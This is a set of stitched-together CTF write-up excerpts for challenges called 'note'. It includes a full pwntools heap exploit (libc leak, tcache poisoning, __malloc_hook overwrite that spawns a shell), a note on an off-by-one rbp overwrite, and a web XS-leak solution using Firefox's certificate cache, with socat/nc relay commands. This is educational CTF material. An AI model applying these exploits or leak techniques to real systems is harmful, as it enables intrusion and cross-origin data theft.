Check the video for complete solution of forensic related issue:  
https://www.youtube.com/watch?v=dCwRMGqFewk

Original writeup (https://www.youtube.com/watch?v=dCwRMGqFewk).```python  
from pwn import *  
context(arch='amd64',os='linux',log_level='debug')  
myelf = ELF("./note")  
libc = ELF("./libc.so.6")  
ld = ELF("./ld-2.29.so")  
io = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})  
#io = remote("124.156.135.103",6004)

sla = lambda delim,data : (io.sendlineafter(delim, data))  
sa = lambda delim,data : (io.sendafter(delim, data))  
new = lambda index,size : (sla("Choice: ","1"),sla("Index:
",str(index)),sla("Size: ",str(size)))  
sell = lambda index : (sla("Choice: ","2"),sla("Index: ",str(index)))  
show = lambda index : (sla("Choice: ","3"),sla("Index: ",str(index)))  
edit = lambda index,message : (sla("Choice: ","4"),sla("Index:
",str(index)),sla("Message: \n",message))  
name = lambda name : (sla("Choice: ","6"),sla("name: \n",name))  
overedit = lambda index,message : (sla("Choice: ","7"),sla("Index:
",str(index)),sa("Message: \n",message))

# leak libc & bss  
show(-5)  
data_addr = u64(io.recv(8)) ; io.recv(16)  
libc.address = u64(io.recv(8)) - 0x1e5760  
one_gadget = libc.address+0xe237f  
show(-5); bss = io.recv(0x70)

# use -5 to set money and over the one time chance  
setmoney = lambda money : (edit(-5,p64(data_addr)+p64(money)))  
overflow = lambda idx,data :
(edit(-5,p64(data_addr)+p64(0x996)+p32(1)),overedit(idx,data))

# set money to allow new and name function  
New = lambda idx,size : (setmoney(0x99600),new(idx,size))  
Name = lambda data : (setmoney(0x9960000),name(data),edit(-5,bss))

# use tcache poisoning to arbitrary address write  
def aaw(addr,data):  
New(0,0x50);New(1,0x50);sell(1) # put one chunk to tcache list  
overflow(0,"1"*0x58+p64(0x61)+p64(addr)) # overflow tcache fd to addr  
Name("a") # use malloc to get addr  
Name(data) # modify addr content to data

# modify __malloc_hook to onegadget and trigger it  
aaw(libc.symbols['__malloc_hook'],p64(one_gadget))  
setmoney(0x9960000);sla("Choice: ","6")  
io.interactive()  
```

Original writeup
(https://xuanxuanblingbling.github.io/ctf/pwn/2020/06/01/note/).`note` is a very good challenge to understand how we can exploit a `Off-By-
One` bug where the program is using `scanf`. Basically, you can overwrite the
`least significant byte (LSB)` of the `saved rbp` with a null byte, so you can
control the stack frame for the following function calls.  

Original writeup (https://github.com/sajjadium/ctf-
writeups/tree/master/StarCTF/2018/note).### Analysis  
Expected analysis steps

1\. Read scripts  
1\. You find `http://host:port/?<regexp search query>#<URL>` shows  
\- element with `background-image: <URL>`  
\- notes only matching regexp query  
1\. You will try to detect whether any note matches the regexp query, by
controling the content located at `<URL>`.  
1\. You notice that notes have "deletion button"  
\- Only when any note matches the regexp query, the image of "deletion button"
is fetched.  
\- Hence, you'll become eager to detect whether the image of "deletion button"
was fetched by the communication to `<URL>`.  
1\. You'll find "deletion button image" has URL with `https` scheme, and its
certificate was issued by *Let's Encrypt Authority X3*.  
\- Other HTTPS URLs (`https://cdnjs.cloudflare.com/...`,
`https://cdn.jsdelivr.net/...`, `https://use.fontawesome.com/...`) use
different certificates.  
1\. The Let's Encrypt certificate is an intermediate one, which is signed by
root CA *DST Root CA X3*.  
\- You can find the detail [here](https://letsencrypt.org/certificates/).  
1\. What if you present a certificate signed by Let's Encrypt without the
certificate for Let's Encrypt intermediate CA signed by Root CA...?  
\- Actually, Firefox has the cache for SSL certificates [citation needed] !
You can find it through experiments.

### Solution

1\. You should prepare  
\- one machine with a global IP such as VPS  
\- If testing locally, you can use `192.168.1.100` now.  
\- one DNS record that points to the global IP  
\- There are several free Dynamic DNS services.  
\- If testing locally, you can use `jfwioaw.hopto.org` now.  
1\. Get a certificate issued by *Let's Encrypt Authority X3*  
\- `docker run --rm -ti -v /tmp/cert/etc:/etc/letsencrypt -v
/tmp/cert/var:/var/lib/letsencrypt certbot/certbot certonly --manual
--preferred-challenges http --server
https://acme-v02.api.letsencrypt.org/directory -d 'example.jp'`  
\- If testing locally, I prepared a cert for `jfwioaw.hopto.org` in this
directory.  
1\. Insert a short delay before presenting the SSL certificate  
\- Because you want to detect whether the certificate for "deletion image" was
cached, "deletion image" fetch must precede the header image fetch.  
\- `socat tcp-listen:8001,bind=0.0.0.0,fork,reuseaddr system:'sleep 1; nc
127.0.0.1 5678'` (included in solver.rb)  
1\. Terminate TLS using only the leaf certificate (i.e. use `cert.pem` without
`chain.pem` and `fullchain.pem`)  
\- `socat openssl-
listen:5678,fork,reuseaddr,certificate=cert.pem,key=privkey.pem,verify=0
system:'nc 127.0.0.1 6789'` (included in solver.rb)  
1\. Now, you can derive the 1bit information, that is the existence of
preceding "deletion image" fetch, by detecting if Firefox continues HTTP
communication after SSL handshakes.

Original writeup (https://github.com/tsg-
ut/tsgctf2020/blob/master/web/note/writeup/writeup.md).